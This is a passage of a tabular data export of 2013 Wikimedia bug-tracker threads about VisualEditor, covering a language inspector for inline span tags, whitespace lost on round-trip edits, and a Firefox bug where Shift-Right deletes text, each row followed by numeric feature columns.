+**Severity**: enhancement",High,80.0,1367020500,1390007334.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-yygcicr6m5mpgdgpjccs,task_description,resolved,True,c1,1,False,False,False,-10,,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+207559,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 95051 merged by jenkins-bot:
+MediaWiki language inspector updates
+
+https://gerrit.wikimedia.org/r/95051",,,1390007205,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+207549,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 95051 had a related patch set uploaded by Jforrester:
+MediaWiki language inspector updates
+
+https://gerrit.wikimedia.org/r/95051",,,1390006945,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+207541,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,Splitting the block level items into bug 60187.,,,1390006865,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,True,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+207537,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"The main work is merged. Some designs tweaks are still needed, but now language for <span>s can be set.",,,1375256723,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+207533,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 72634 merged by jenkins-bot:
+Language Inspector UI
+
+https://gerrit.wikimedia.org/r/72634",,,1375254898,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+207528,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 72634 had a related patch set uploaded by Mooeypoo:
+Language Inspector UI
+
+https://gerrit.wikimedia.org/r/72634",,,1374630395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+207523,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 70560 merged by jenkins-bot:
+Language Inspector: CE / DM
+
+https://gerrit.wikimedia.org/r/70560",,,1373483622,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+207518,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 70560 had a related patch set uploaded by Mooeypoo:
+Language Inspector: CE / DM
+
+https://gerrit.wikimedia.org/r/70560",,,1373482614,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+207514,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,*** Bug 41009 has been marked as a duplicate of this bug. ***,,,1373002468,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+207510,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"(In reply to comment #5)
+> Oy, I mean Bug 41009. Both speak of the same features that the Language
+> Inspector will attempt to solve.
+
+Given that this is more advanced in discussion, I'll up-merge that into this.",,,1373002441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1
+207505,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Oy, I mean Bug 41009. Both speak of the same features that the Language Inspector will attempt to solve.",,,1372987705,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+207497,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,I think this is a dupe of Bug 47759,,,1372987615,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+207488,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Work on this has began, we will be using <span lang='xx' dir='yyy'> tags to start with and add functionality for broader usages in the future.",,,1372962330,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,1
+207481,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"This would be a task for a language inspector, presumably? Marking as an enhancement - this might be something for Moriel if she is going to be working with us on language support.",,,1367293379,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,1,True,,,-9,,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+207472,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Clarification: the bug report is about text within <div dir=""rtl""></div> being alienated. I'm not sure how we can intelligently not alienate text with such a direction override.",,,1367275242,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+49712,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"Ubuntu/Firefox
+Go to http://en.wikipedia.org/wiki/Alfresco_%28software%29
+At the end of a line, add a space and remove it
+Click ""Save""
+No changes should have happen, but there actually are changes, in the infobox:
+
+| caption = Alfresco Share / Repository Browser <br/> (Community Edition)
+became
+| caption =Alfresco Share / Repository Browser <br></table> (Community Edition)
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1366964340,1367901947.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-hk3rab5lb2jvryjrgppj,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+230834,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"(In reply to comment #10)
+> http://en.wikipedia.org/wiki/Anne_Hendershott still shows the same symptoms.
+> Is
+> this fix not yet deployed?
+
+Sorry, the meaning of ""VE-deploy-2013-05-13"" is meant to be pretty clear, but evidently isn't! It'll go out with 1.22wmf4, so on the English Wikipedia on 20 May.",,,1367901947,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1
+230830,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,http://en.wikipedia.org/wiki/Anne_Hendershott still shows the same symptoms. Is this fix not yet deployed?,,,1367897162,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0
+230826,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,We're now three bugs fixed into this stack. Closing. Others should be opened as other bugs.,,,1367871544,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+230822,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,Related URL: https://gerrit.wikimedia.org/r/61919 (Gerrit Change I42daaf142e548e5b221ff0a52df0ad24ec6a4fd0),,,1367449312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+230818,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"I tested the following 4 pages and am recording my findings here.  Once we go through the other pages, we should close this bug and create new bugs where necessary.
+
+On the following two pages, I can reproduce in Firefox, but the edit is clean in Chrome.  So, this is definitely Firefox specific, not sure if it is JQuery-related or something else.
+
+* http://en.wikipedia.org/wiki/Timeline_of_portable_computers
+* http://en.wikipedia.org/wiki/Neritina_rubricata
+
+On the following two pages, I can reproduce the spurious diffs in both Firefox and Chrome even though I didn't edit the relevant areas. I haven't looked at the diffs yet.  So, this is quite likely some kind of whitespace change in the DOM that VE sends Parsoid.
+
+* http://en.wikipedia.org/wiki/Timeline_of_portable_computers -- It appears that the table is being marked as edited even though I didn't edit the table.
+
+* http://en.wikipedia.org/wiki/Anne_Hendershott -- the list is being marked as edited because of some whitespace normalization when VE loads/saves the DOM.",,,1367075006,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-10,,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+230812,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"(In reply to comment #4)
+> Do you mean all of the problem mentioned on this page are due to this bug?
+
+Please open separate bug tickets for each bug in future. :-)",,,1366994200,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-10,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1
+230807,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,I believe the whitespace changes are a separate issue. Reopening so that those don't get lost.,,,1366992962,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+230801,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"Do you mean all of the problem mentioned on this page are due to this bug?
+Cheers!
+Nicolas",,,1366992621,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+230793,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"This is an instance of the jQuery bug 47737 - marking as a duplicate.
+
+*** This bug has been marked as a duplicate of bug 47737 ***",,,1366992520,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+230787,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"http://en.wikipedia.org/wiki/Anne_Hendershott
+http://ja.wikipedia.org/wiki/BMW_801
+On the contrary, here spaces got inserted.
+
+http://en.wikipedia.org/wiki/List_of_Mexican_telenovelas
+* ''[[Mañana Es Para Siempre]]-''Tomorrow Is Forever''
+becomes
+* ''[[Mañana Es Para Siempre]]-''Tomorrow Is Forever
+
+http://en.wikipedia.org/wiki/Sonic_the_Hedgehog_Vocal_Traxx:_Several_Wills
+http://ja.wikipedia.org/wiki/%E6%9C%A8%E6%A2%A8%E3%82%AC%E3%82%A4%E3%83%89%E3%83%BB%E9%80%B1%E6%9C%AB%E3%81%AE%E9%81%94%E4%BA%BA
+http://ja.wikipedia.org/wiki/%E3%82%A4%E3%83%B3%E3%83%89%E3%82%B7%E3%83%A5%E3%83%A2%E3%82%AF%E3%82%B6%E3%83%A1
+<br/> becomes <br></table>
+
+http://en.wikipedia.org/wiki/Barunga,_Northern_Territory
+| pop = 282 (2006 Census)<ref name=Census2006Y />
+becomes
+| pop =282 (2006 Census)<ref name=Census2006Y ></span>
+
+http://en.wikipedia.org/wiki/Aerial_toll_house
+whole references are duplicated
+
+etc... using http://en.wikipedia.org/wiki/Special:Random and http://ja.wikipedia.org/wiki/%E7%89%B9%E5%88%A5:%E3%81%8A%E3%81%BE%E3%81%8B%E3%81%9B%E8%A1%A8%E7%A4%BA about half of the articles don't roundtrip.",,,1366966146,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+230782,VisualEditor: Trailing whitespace at end of paragraph or table cell dropped on round-trip,"Other faulty roundtrips:
+
+http://en.wikipedia.org/wiki/Neritina_rubricata
+Removes space at end of line
+
+http://en.wikipedia.org/wiki/Timeline_of_portable_computers
+--> || becomes -->||
+
+Should I continue reporting space removals like these 2 ones?
+Or are these spaces removed on purpose?",,,1366964740,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-hk3rab5lb2jvryjrgppj,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+49711,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Edit an article
+Press down your keyboard's SHIFT key
+While maintaining SHIFT pressed, press the RIGHT key a few times
+
+EXPECTED: Characters are selected
+ACTUALLY: Characters are deleted
+
+Ubuntu/Firefox
+
+Looks like https://bugzilla.wikimedia.org/show_bug.cgi?id=41062 which had been fixed in October.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366963620,1367286853.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-czooq62xjeisscbrllhg,task_description,resolved,True,c1,1,False,False,True,-10,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+230744,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"(In reply to comment #8)
+> Still actin' crazy: firefox 20.0, linux.  I hard-refreshed just in case.
+
+You may have hard-refreshed, but you didn't wait for the deployment train which was only three hours ago. :-) Sorry for not mentioning that it's ""fixed pending deploy"" (it'd be great if Bugzilla had that as a status).
+
+Can confirm that it's now fixed in live in Firefox 20.0/Mac.",,,1367286853,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+230734,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,This bug is currently fixed in master. It is going to be live on Wikipedia by Wednesday next week. In the meantime it is possible to test on mediawiki.org. However currently (for another 2-3 hours) VE on mediawiki.org is completly broken for FF.,,,1367281288,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+230726,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"It would be worthwhile to mention the bug 47795 here, with similar nature of problem.",,,1367223121,,PHID-USER-d3oiyxwdmebcjszfff7w,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+230718,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Sorry, comment #10 has been split off into bug 47817.",,,1367217111,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+230713,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Okay, the turd was a separate bug:
+
+1. Edit a page with an unordered list.
+
+2. Delete all the text on the last line.
+
+3. Press the <delete key>. The bullet should be erased.  Instead, it will remain and the cursor will move to the end of the previous line.
+
+4. down-arrow
+
+5. down-arrow off of the empty line.
+
+Turd appears in the empty line.
+
+6. I did something else with the arrow keys, all of the document's lines were erased (not all part of the <ul>), and the undo buffer could not step backwards.  Aaaa, will reproduce later.",,,1367216836,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-9,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+230708,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Confirmed. It still doesn't work in Firefox 20.0. Shift+Selection Keys isn't working in normal way. When up or down keys are pressed, the text is selected for the first time, but pressing them for second time gets the selected text deleted.",,,1367216493,,PHID-USER-d3oiyxwdmebcjszfff7w,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+230704,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Still actin' crazy: firefox 20.0, linux.  I hard-refreshed just in case.
+
+In fact, I had some text highlighted and tried to use <ctrl>-<shift>-left to extend the selection.  My text was deleted, plus a character or two, and then a freakin snail character appeared.  I have yet to find the unicode for that.  It wasn't 1F40C, OMG it was 1f4a9 I was just about to say it looked more like a turd than snail.",,,1367215830,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,1
